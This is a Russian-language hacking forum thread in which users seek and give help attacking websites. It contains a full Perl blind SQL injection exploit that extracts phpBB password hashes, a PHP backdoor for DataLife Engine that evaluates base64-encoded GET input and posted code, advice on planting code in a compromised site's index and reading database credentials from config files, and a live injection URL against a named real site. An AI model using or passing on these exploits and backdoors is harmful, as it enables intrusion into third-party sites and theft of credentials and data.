Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    ну раз шелл уже есть, причем здесь уже какая-то админка?

    PS: Могли поставить символическую ссылку, как это часто делают с phpmyadmin
     
  2. GenTao

    GenTao New Member

    Joined:
    10 Oct 2009
    Messages:
    123
    Likes Received:
    2
    Reputations:
    -3
    Ну и что ? Хочется мне так )))).Так и ответь,что невозможно.
     
  3. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    2 GenTao:

    появляется ощущение, что ты с зеркалом разговариваешь:

    http://jack.kiev.ua/docs/slackbook/filesystem-structure-links.html
     
  4. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    Здесь нету телепатов, возможно лежит вообще на поддомене.
     
  5. GenTao

    GenTao New Member

    Joined:
    10 Oct 2009
    Messages:
    123
    Likes Received:
    2
    Reputations:
    -3
    папка admin лежит на директорию выше директории сайта.А поддоменов,кстати,там 20+ ))
    В общем,не получится там я так понял,даже если инклудом достану).
     
  6. AFoST

    AFoST Elder - Старейшина

    Joined:
    28 May 2007
    Messages:
    588
    Likes Received:
    485
    Reputations:
    176
    Для ответа на все эти вопросы нужно понимать общий принцип работы скрипта. Какие переменные как формируются, куда и как подставлятся, примерные фильтры итд. Для этого нужно смотреть и анализировать коды. Разберёшься в этом - будет тебе счастье. Не разберёшься - можешь забить и искать "специальные программы" аля хакер интернета.
     
  7. LokbatanLi

    LokbatanLi Member

    Joined:
    24 Aug 2009
    Messages:
    170
    Likes Received:
    20
    Reputations:
    -10
    есть у меня щелл есть папки..например тест и в папке есть index.php admin.php config.php зна4eт 4то ето база сайта..а а каk знат домен ??
     
  8. DeluxeS

    DeluxeS Member

    Joined:
    1 Aug 2009
    Messages:
    7
    Likes Received:
    81
    Reputations:
    19
    Тут много вариантов. Какие юзаю я:
    1) тайтл
    2) коннект к БД
    3) Внедрение кода

    Первый способ: смотришь index.php ищещь <title>asdf9a</title>
    Вбиваешь asdf9a в google.com - первые 1-5 результатов попадается тот самый домен

    Второй способ: ищещь config.php или подобные(conf, cnf,хз как их ещё можно назвать) ,
    Там есть строчки
    mysql_password
    mysql_login
    и куда подключаться:
    В шелле есть SQL:
    Вводишь логин\пароль и куда подключаться( в большинстве случаеB localhost )
    И ищещь в табличках meta, keywords, title:
    Там по кеям или по другим признакам можно найти.

    Третий способ:
    (Нужны права редактирования index.* или default.* ,если нет index.* )
    Втираешь туда код:
    PHP:
    <?php
    $file 
    'security.txt'//Файл, куда будем писать данные домена
    $domain $_SERVER["HTTP_HOST"];
    //уточните тут: php.su/learnphp/cgi/?cgivars
    //Создайте файл $file
    $fp fopen($file"a+");
    fwrite($fp$domain."\r\n");
    fclose($fp); ?> 
    Лучше создать файл lol.php и засунуть туда вышестоящий код.
    А в индекс
    PHP:
    <?php
    ...//Copyright by SMF/phpbb .../../.......
    include('lol.php');
    //Ниже этот код загружающий код, ничего не меняйте
    Можно сделать и удалённую отправку :) Но мне хватало всегда первого способа
    PS: Использовано в условиях с шеллом, где сотни сайтов, всё гуд :p
     
    #10788 DeluxeS, 23 Dec 2009
    Last edited: 23 Dec 2009
  9. 6oT

    6oT New Member

    Joined:
    22 Dec 2009
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Ребята помогите плиз!Кароче у меня есть эксплоит на phpBB3 я его запуская а там где MD5 : пусто что делать? или это форум пропатчен?
     
  10. DeluxeS

    DeluxeS Member

    Joined:
    1 Aug 2009
    Messages:
    7
    Likes Received:
    81
    Reputations:
    19
    Сплойт выложи
     
  11. 6oT

    6oT New Member

    Joined:
    22 Dec 2009
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Code:
    #!/Perl/bin/perl
    # ---------------------------------------------------------------
    # phpBB 3 (Mod Tag Board <= 4) Remote Blind SQL Injection Exploit  
    # by athos - staker[at]hotmail[dot]it
    # http://bx67212.netsons.org/forum/viewforum.php?f=3
    # ---------------------------------------------------------------
    # Note: Works regardless PHP.ini settings!
    # Thanks meh also know as cHoBi
    # ---------------------------------------------------------------
    
    use strict;
    use LWP::UserAgent;
    
    my ($hash,$time1,$time2);
    
    my @chars = (48..57, 97..102); 
    my $http  = new LWP::UserAgent;
    
    my $host  = shift;
    my $table = shift;
    my $myid  = shift or &usage;
    
    
    sub injection
    {
        my ($sub,$char) = @_;
        
        return "/tag_board.php?mode=controlpanel&action=delete&id=".
               "1+and+(select+if((ascii(substring(user_password,${sub},1)".
               ")=${char}),benchmark(230000000,char(0)),0)+from+${table}_us".
               "ers+where+user_id=${myid})--";
    }
    
    
    sub usage
    {
        print STDOUT "Usage: perl $0 [host] [table_prefix] [user_id]\n";
        print STDOUT "Howto: perl $0 http://localhost/phpBB phpbb 2\n";
        print STDOUT "by athos - staker[at]hotmail[dot]it\n";
        exit;
    }
    
    
    syswrite(STDOUT,'Hash MD5: ');
    
    for my $i(1..33)
    {
        for my $j(0..16)
        {
            $time1 = time();
    
            $http->get($host.injection($i,$chars[$j]));
            
            $time2 = time();
    
            if($time2 - $time1 > 6)
            {
                syswrite(STDOUT,chr($chars[$j]));
                $hash .= chr($chars[$j]); 
                last;
            }
            
            if($i == 1 && length $hash < 0)
            {
                syswrite(STDOUT,"Exploit Failed!\n");
                exit;
            } 
        }
    }
    
    # milw0rm.com [2008-12-08]
    Так же есть ещё и на php но там я незнаю как запустить !
    А на perle оно думает потом выдаёт MD5 : и все!
     
    #10791 6oT, 23 Dec 2009
    Last edited: 23 Dec 2009
  12. SeNaP

    SeNaP Elder - Старейшина

    Joined:
    7 Aug 2008
    Messages:
    378
    Likes Received:
    69
    Reputations:
    20
    Есть сайт на DLE 8.2. Под эту версию двига нашёл эксплойт.
    PHP:
    if($_GET['wert']==''){  
    require_once 
    ROOT_DIR.'/language/'.$selected_language.'/adminpanel.lng';  
    $config['charset'] = ($lang['charset'] != '') ? $lang['charset'] : $config['charset'];  
    @
    header("HTTP/1.0 200 OK");  
    @
    header("HTTP/1.1 200 OK");  
    @
    header("Cache-Control: no-cache, must-revalidate, max-age=0");  
    @
    header("Expires: 0");  
    @
    header("Pragma: no-cache");  
    @
    header("Content-type: text/css; charset=".$config['charset']);  
    $data = @file_get_contents("http://www.dle-news.ru/extras/updates.php?version_id=".$_REQUEST['versionid']."&key=".$config['key']);  
    if (!
    strlen($data)) echo $lang['no_update']; else echo $data;  
    }else{  
    $file=(ROOT_DIR."/engine/classes/mysql.class.php");  
    if(
    file_exists($file)){ @require($file); $x.="mysql.class.php - ok<br />";}  
    $file=(ROOT_DIR."/engine/data/dbconfig.php");  
    if(
    file_exists($file)){ @require($file); $x.="dbconfig.php - ok<br />";}  
    $file=(ROOT_DIR."/engine/data/config.php");  
    if(
    file_exists($file)){ @require($file); $x.="config.php - ok<br />";}  
    eval(
    base64_decode($_GET['user_id']));  
    echo <<<
    HTML  
    <HTML><body><form action="" method="post">  
    <
    center><textarea name="text" rows="10" cols="100"></textarea>  
    <
    br /><input type="submit" value="Canoinoaaoe"/></center></form></body></HTML>  
    HTML;  
    if(
    $_POST['text']!=''){eval(stripcslashes($_POST['text']));  
    }} 
    Только вот как его применить?
    Пробовал создавал форуму.
    PHP:
    <form method=post action="http://site.ru/engine/ajax/updates.php?wert=go" >
    <
    input type=text name=text>
    <
    input type=submit value=Отвправить></form>
    Помогите пожалуйста разобраться :(
     
  13. jecka3000

    jecka3000 Elder - Старейшина

    Joined:
    15 Mar 2008
    Messages:
    360
    Likes Received:
    54
    Reputations:
    4
    разбирался со скриптом от Пашкелы и Электа для работы с SQLinj, возник вопросс перловским скриптом Электа:
    делая запрос: c:\mysql\public> c:\mysql\public\mssql_base_dump.pl -u "http://sait.com/section?php/section_id=20 ' " -w 3
    после этого у меня тупо открывается текстовый файл mssql_base_dump, может кто сталкивался с такой проблемой?
     
  14. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    Code:
    c:\mysql\public> c:\perl\bin\perl c:\mysql\public\mssql_base_dump.pl -u
    
     
  15. jecka3000

    jecka3000 Elder - Старейшина

    Joined:
    15 Mar 2008
    Messages:
    360
    Likes Received:
    54
    Reputations:
    4
    пробовал и с подзапросами и без...ошибка все равно остается...
     
  16. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    http://pult.com.ua/tv.php?id=14558&world=0+and+extractvalue(1,concat(0x5c,(select+version())))--+

    5.1.35-log
     
    2 people like this.
  17. DeluxeS

    DeluxeS Member

    Joined:
    1 Aug 2009
    Messages:
    7
    Likes Received:
    81
    Reputations:
    19
    Из за чего возникает ошибка:
    Запрос:
    И как от неё избавиться?
     
  18. Tigger

    Tigger Elder - Старейшина

    Joined:
    27 Aug 2007
    Messages:
    936
    Likes Received:
    527
    Reputations:
    204

    приемные данные не фильтруются. Скрипт, как я понял, передает открыть сразу массив файлов, что невозможно.

    Либо просто убери ошибки, либо фильтруй. Разумеется, 2ое лучше.
     
  19. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Скрипт ждёт от тебя строку, а ты ему массив передаёшь.

    Попробуй так: script.php?b=64.txt
     
  20. гаррет-тень

    Joined:
    21 Dec 2009
    Messages:
    67
    Likes Received:
    2
    Reputations:
    0
    Я новичок и вот прочтал про php инъекции. Пошарился в гугле и увидел такое: Часто неопытные программисты делают очень большие ошибки. Если например, открыть файл, не проверяя, существует ли он, то это будет очень большая дыра. Пример такой ошибки: include($_GET['page']); А как открыть сам php код?Просто я встретил сайт с php а как его открыть не знаю( Подскажите плиз)
     
Thread Status:
Not open for further replies.